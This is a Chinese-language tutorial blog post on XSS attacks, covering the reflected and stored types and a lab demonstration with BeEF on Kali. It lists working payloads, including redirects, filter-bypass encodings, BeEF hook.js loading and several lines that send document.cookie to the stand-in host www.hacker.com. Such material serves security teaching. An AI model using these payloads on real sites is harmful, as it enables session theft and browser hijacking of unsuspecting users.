XSS跨站攻防安全

来源:https://www.cnblogs.com/yjssjm/archive/2020/04/11/12682606.html
-Advertisement-
Play Games

1.XSS簡介 2.構造XSS腳本 常用HTML標簽 上面這些代碼下麵會有實驗來一一解釋,反射型xss和存儲型xss都能用。 3.反射型XSS 簡單來說反射型就是臨時的xss,只有別人把該鏈接發給你,你點開之後才會中圈套。但是你不點開,正常的去訪問該網站是沒什麼問題的。 這裡我們用kali當做被下套 ...


1.XSS簡介

跨站腳本(cross site script)為了避免與樣式css混淆,所以簡稱為XSS。 
XSS是一種經常出現在web應用中的電腦安全漏洞,也是web中最主流的攻擊方式。那麼什麼是XSS呢? 
XSS是指惡意攻擊者利用網站沒有對用戶提交數據進行轉義處理或者過濾不足的缺點,進而添加一些代碼,嵌入到web頁 面中去。使別的用戶訪問都會執行相應的嵌入代碼。 
從而盜取用戶資料、利用用戶身份進行某種動作或者對訪問者進行病毒侵害的一種攻擊方式。 XSS攻擊的危害包括: 
1、盜取各類用戶帳號,如機器登錄帳號、用戶網銀帳號、各類管理員帳號 
2、控制企業數據,包括讀取、篡改、添加、刪除企業敏感數據的能力 
3、盜竊企業重要的具有商業價值的資料 
4、非法轉賬 
5、強制發送電子郵件 
6、網站掛馬 
7、控制受害者機器向其它網站發起攻擊
XSS主要原因: 
過於信任客戶端提交的數據! 
XSS主要分類: 

反射型xss攻擊(Reflected XSS) 又稱為非持久性跨站點腳本攻擊,它是最常見的類型的XSS。漏洞產生的原因
是攻擊者註入的數據反映在響應中。一個典型的非持久性XSS包含一個帶XSS攻擊向量的鏈接(即每次攻擊需要用
戶的點擊)。 

存儲型XSS(Stored XSS) 又稱為持久型跨站點腳本,它一般發生在XSS攻擊向量(一般指XSS攻擊代碼)存儲在網
站資料庫,當一個頁面被用戶打開的時候執行。每當用戶打開瀏覽器,腳本執行。持久的XSS相比非持久性XSS
攻擊危害性更大, 因為每當用戶打開頁面,查看內容時腳本將自動執行。

2.構造XSS腳本

常用HTML標簽

<iframe>			 iframe 元素會創建包含另外一個文檔的內聯框架(即行內框架)。
 <textarea> 		<textarea> 標簽定義多行的文本輸入控制項。 
 <img> 			img 元素向網頁中嵌入一幅圖像。 
 <script>  		<script> 標簽用於定義客戶端腳本,比如 JavaScript。 
 						script 元素既可以包含腳本語句,也可以通過 src 屬性指向外部腳本文件。 
 						必需的 type 屬性規定腳本的 MIME 類型。 
 						JavaScript 的常見應用時圖像操作、表單驗證以及動態內容更新。

常用JavaScript方法

alert 							alert() 方法用於顯示帶有一條指定消息和一個 確認 按鈕的警告框 
window.location 			window.location 對象用於獲得當前頁面的地址 (URL),並把瀏覽器重定向到新的頁面。 location.href 				返回當前顯示的文檔的完整 URL 
onload 						一張頁面或一幅圖像完成載入 
onsubmit 					確認按鈕被點擊 
onerror 						在載入文檔或圖像時發生錯誤

構造XSS腳本

彈框警告 此腳本實現彈框提示,一般作為漏洞測試或者演示使用,類似SQL註入漏洞測試中的單引號', 一旦此腳
本能執行,也就意 味著後端伺服器沒有對特殊字元做過濾<>/' 這樣就可以證明,這個頁面位置存在了XSS漏
洞。 
<script>alert('xss')</script>       #會彈出一個xss的小框
<script>alert(document.cookie)</script>

頁面嵌套 
<iframe src=http://www.baidu.com width=300 height=300></iframe>   
#會顯示出一個長寬都是300的百度頁面,你可以設置為其它頁面的url
<iframe src=http://www.baidu.com width=0 height=0 border=0></iframe>

頁面重定向 
<script>window.location="http://www.baidu.com"</script>  #跳轉到百度界面
<script>location.href="http://www.baidu.com"</script>

彈框警告並重定向 
<script>alert("請移步到我們的新站");location.href="http://www.baidu.com"</script> 
<script>alert('xss');location.href="http://www.baidu.com"</script> 
這裡結合了一些社工的思路,例如,通過網站內部私信的方式將其發給其他用戶。如果其他用戶點擊並且相信了
這個信息,則可能在另外的站點重新登錄賬戶(克隆網站收集賬戶)

訪問惡意代碼 
<script src="http://www.baidu.com/xss.js"></script> 
<script src="http://BeEF_IP:3000/hook.js"></script> #結合BeEF收集用戶的cookie 

巧用圖片標簽 
<img src="#" onerror=alert('xss')> 
<img src="javascript:alert('xss');"> 
<img src="http://BeEF_IP:3000/hook.js"></img> 

繞開過濾的腳本 
大小寫 <ScrIpt>alert('xss')</SCRipt> 
字元編碼 採用URL、Base64等編碼 
<a
href="&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116 ;&#40;&#34;&#120;&#115;&#115;&#34;&#41;">yjssjm</a> 

收集用戶cookie 
打開新視窗並且採用本地cookie訪問目標網頁,打開新視窗並且採用本地cookie訪問目標網頁。 
<script>window.open("http://www.hacker.com/cookie.php?cookie="+document.cookie)</script> 
<script>document.location="http://www.hacker.com/cookie.php?cookie="+document.cookie</script> 
<script>new Image().src="http://www.hacker.com/cookie.php?cookie="+document.cookie;</script> 
<img src="http://www.hacker.com/cookie.php?cookie='+document.cookie"></img> 
<iframe src="http://www.hacker.com/cookie.php?cookie='+document.cookie"></iframe>
<script>new Image().src="http://www.hacker.com/cookie.php?cookie='+document.cookie"; img.width = 0; 
img.height = 0; 
</script>

上面這些代碼下麵會有實驗來一一解釋,反射型xss和存儲型xss都能用。

3.反射型XSS

簡單來說反射型就是臨時的xss,只有別人把該鏈接發給你,你點開之後才會中圈套。但是你不點開,正常的去訪問該網站是沒什麼問題的。
這裡我們用kali當做被下套的客戶端,將我們做好的xss的鏈接地址複製到kali裡面自帶的瀏覽器上

彈框警告: 
<script>alert('yjssjm')</script>

在這裡插入圖片描述
在這裡插入圖片描述
在這裡插入圖片描述
在這裡插入圖片描述
所以,反射型xss只要我們不打開別人發的鏈接,自己去訪問該頁面是沒有什麼問題的。

頁面重定向 
<script>window.location="http://www.baidu.com"</script>  #跳轉到百度界面

直接跳轉到百度界面
在這裡插入圖片描述

頁面嵌套 
<iframe src=http://www.baidu.com width=300 height=300></iframe>

在這裡插入圖片描述

4.存儲型XSS

存儲型XSS(持久型XSS)即攻擊者將帶有XSS攻擊的鏈接放在網頁的某個頁面,例如評論框等; 用戶訪問此XSS鏈接並執行,由於存儲型XSS能夠攻擊所有訪問此頁面的用戶,所以危害非常大。
簡單來說,就是知道你訪問這個網站中帶有xss的區域就會中套。

彈框告警: 
text1
<script>alert('yjssjm')</script>

在這裡插入圖片描述
在這裡插入圖片描述
然後我們去kali上面打開
在這裡插入圖片描述
在這裡插入圖片描述
這幾乎是存儲型xss,在某個區域,只要你點開就會中了別人下的圈套。

5.自動化xss

我們這裡用到kali裡面自帶的BeEF(牛)軟體,用來實現自動化xss

啟動Apache和BeEF: 
root@kali:~# service apache2 start

然後打開BeEF
在這裡插入圖片描述
在這裡插入圖片描述
在這裡插入圖片描述

<script src="http://192.168.13.145:3000/hook.js"></script> 
註:192.168.13.145為BeEF所在機器,即Kali Linux IP

在這裡插入圖片描述
你會發現我們的代碼沒法完全複製進去,是因為網頁給我們限制了字數,我們需要去修改一下
在這裡插入圖片描述
然後我們去kali裡面登錄BeEF:
username: beef
password: beef
在這裡插入圖片描述
在這裡插入圖片描述
在這裡插入圖片描述

命令顏色(Color): 
綠色 對目標主機生效並且不可見(不會被髮現) 
橙色 對目標主機生效但可能可見(可能被髮現) 
灰色 對目標主機未必生效(可驗證下) 
紅色 對目標主機不生效

在這裡插入圖片描述
這裡面我們就可以對目標靶機進行各種操作,不用寫代碼,內部已經設置好了代碼,我們只需要點點點,特別方便。

你們的評論和點贊是我寫文章的最大動力,蟹蟹。


您的分享是我們最大的動力!

-Advertisement-
Play Games
更多相關文章
  • 之前的舊版本為許多客戶服務了好多年,但隨著技術變更與發展,舊版已難以再挑起大梁。因本人一直都扎根在網教行業,對實現網路考試與培訓有著深刻的認識與理解,故打算用當前主流技術全新構建一套新的版本。新版本採用Net Core 2(目前已升級為Net Core 3)c#語言編寫(新版名為“麥荻網教系統”),... ...
  • System.Drawing is not supported on this platform. ...
  • 一、引言 fanout類型的Exchange,路由規則非常簡單:它會把所有發送到該Exchange的消息,路由到所有與它綁定的Queue中。假設有一個聊天室,各個客戶端都訂閱在同一fanout exchange type,那每個客戶端發送出來的消息,所有的客戶端都能收到,因為大家都訂閱了。此時,只需 ...
  • 在上次的文章中簡單介紹了 [Reface.NPI] 中的功能。 本期,將對這方法名稱解析規則進行詳細的解釋和說明, 以便開發者可以完整的使用 [Reface.NPI] 中的各種功能。 基本規則 方法名稱以 Insert , Delete , Select , Update 開頭 方法名以數個單詞構成 ...
  • 前言 上一篇文章介紹了ABP的Web API,本文在繼續介紹ABP的其他內容。 在ABP中,WEBAPI是一個值得用的東西。但其他東西,就不一定是那麼好用了。 因為越深入的學習ABP,你就越會發現,它自身有著非常強的設計約束,而而微軟的框架已經有一定的約束了,再使用一套附加約束,顯然會更辛苦。 下麵 ...
  • 在做劍指offer的題目時,發現每次需要用到樹做為參數來測試自己寫的方法時,都很是痛苦。於是乎就萌生了寫一個利用數組作為參數生成樹的方法。簡單測試了下,沒什麼毛病。在這裡貼出來,如果以後發現有bug了會持續在後面更新,也歡迎大家指出其中的不足。 public class TreeNode { pub ...
  • 其實Linux和Windows的差別還是很大的,甚至可以說沒有接觸過Linux的人是完全不懂怎麼使用這種操作系統的,至少我自己的感覺是這樣的。在學習Linux之後,我在使用這兩種系統上最直觀的感受就是Windows就是用於個人PC的,簡單明瞭的圖形界面讓即使不懂電腦原理的人也能輕易上手並很快熟練使 ...
  • 在owasp年度top 10 安全問題中,註入高居榜首。SQL註入攻擊指的是通過構建特殊的輸入作為參數傳入Web應用程式, 而這些輸入大都是SQL語法里的一些組合,通過執行SQL語句進而執行攻擊者所要的操作,其主要原因是程式沒有細緻地 過濾用戶輸入的數據,致使非法數據侵入系統。 1. 對於Web應用 ...
一周排行
    -Advertisement-
    Play Games
  • 移動開發(一):使用.NET MAUI開發第一個安卓APP 對於工作多年的C#程式員來說,近來想嘗試開發一款安卓APP,考慮了很久最終選擇使用.NET MAUI這個微軟官方的框架來嘗試體驗開發安卓APP,畢竟是使用Visual Studio開發工具,使用起來也比較的順手,結合微軟官方的教程進行了安卓 ...
  • 前言 QuestPDF 是一個開源 .NET 庫,用於生成 PDF 文檔。使用了C# Fluent API方式可簡化開發、減少錯誤並提高工作效率。利用它可以輕鬆生成 PDF 報告、發票、導出文件等。 項目介紹 QuestPDF 是一個革命性的開源 .NET 庫,它徹底改變了我們生成 PDF 文檔的方 ...
  • 項目地址 項目後端地址: https://github.com/ZyPLJ/ZYTteeHole 項目前端頁面地址: ZyPLJ/TreeHoleVue (github.com) https://github.com/ZyPLJ/TreeHoleVue 目前項目測試訪問地址: http://tree ...
  • 話不多說,直接開乾 一.下載 1.官方鏈接下載: https://www.microsoft.com/zh-cn/sql-server/sql-server-downloads 2.在下載目錄中找到下麵這個小的安裝包 SQL2022-SSEI-Dev.exe,運行開始下載SQL server; 二. ...
  • 前言 隨著物聯網(IoT)技術的迅猛發展,MQTT(消息隊列遙測傳輸)協議憑藉其輕量級和高效性,已成為眾多物聯網應用的首選通信標準。 MQTTnet 作為一個高性能的 .NET 開源庫,為 .NET 平臺上的 MQTT 客戶端與伺服器開發提供了強大的支持。 本文將全面介紹 MQTTnet 的核心功能 ...
  • Serilog支持多種接收器用於日誌存儲,增強器用於添加屬性,LogContext管理動態屬性,支持多種輸出格式包括純文本、JSON及ExpressionTemplate。還提供了自定義格式化選項,適用於不同需求。 ...
  • 目錄簡介獲取 HTML 文檔解析 HTML 文檔測試參考文章 簡介 動態內容網站使用 JavaScript 腳本動態檢索和渲染數據,爬取信息時需要模擬瀏覽器行為,否則獲取到的源碼基本是空的。 本文使用的爬取步驟如下: 使用 Selenium 獲取渲染後的 HTML 文檔 使用 HtmlAgility ...
  • 1.前言 什麼是熱更新 游戲或者軟體更新時,無需重新下載客戶端進行安裝,而是在應用程式啟動的情況下,在內部進行資源或者代碼更新 Unity目前常用熱更新解決方案 HybridCLR,Xlua,ILRuntime等 Unity目前常用資源管理解決方案 AssetBundles,Addressable, ...
  • 本文章主要是在C# ASP.NET Core Web API框架實現向手機發送驗證碼簡訊功能。這裡我選擇是一個互億無線簡訊驗證碼平臺,其實像阿裡雲,騰訊雲上面也可以。 首先我們先去 互億無線 https://www.ihuyi.com/api/sms.html 去註冊一個賬號 註冊完成賬號後,它會送 ...
  • 通過以下方式可以高效,並保證數據同步的可靠性 1.API設計 使用RESTful設計,確保API端點明確,並使用適當的HTTP方法(如POST用於創建,PUT用於更新)。 設計清晰的請求和響應模型,以確保客戶端能夠理解預期格式。 2.數據驗證 在伺服器端進行嚴格的數據驗證,確保接收到的數據符合預期格 ...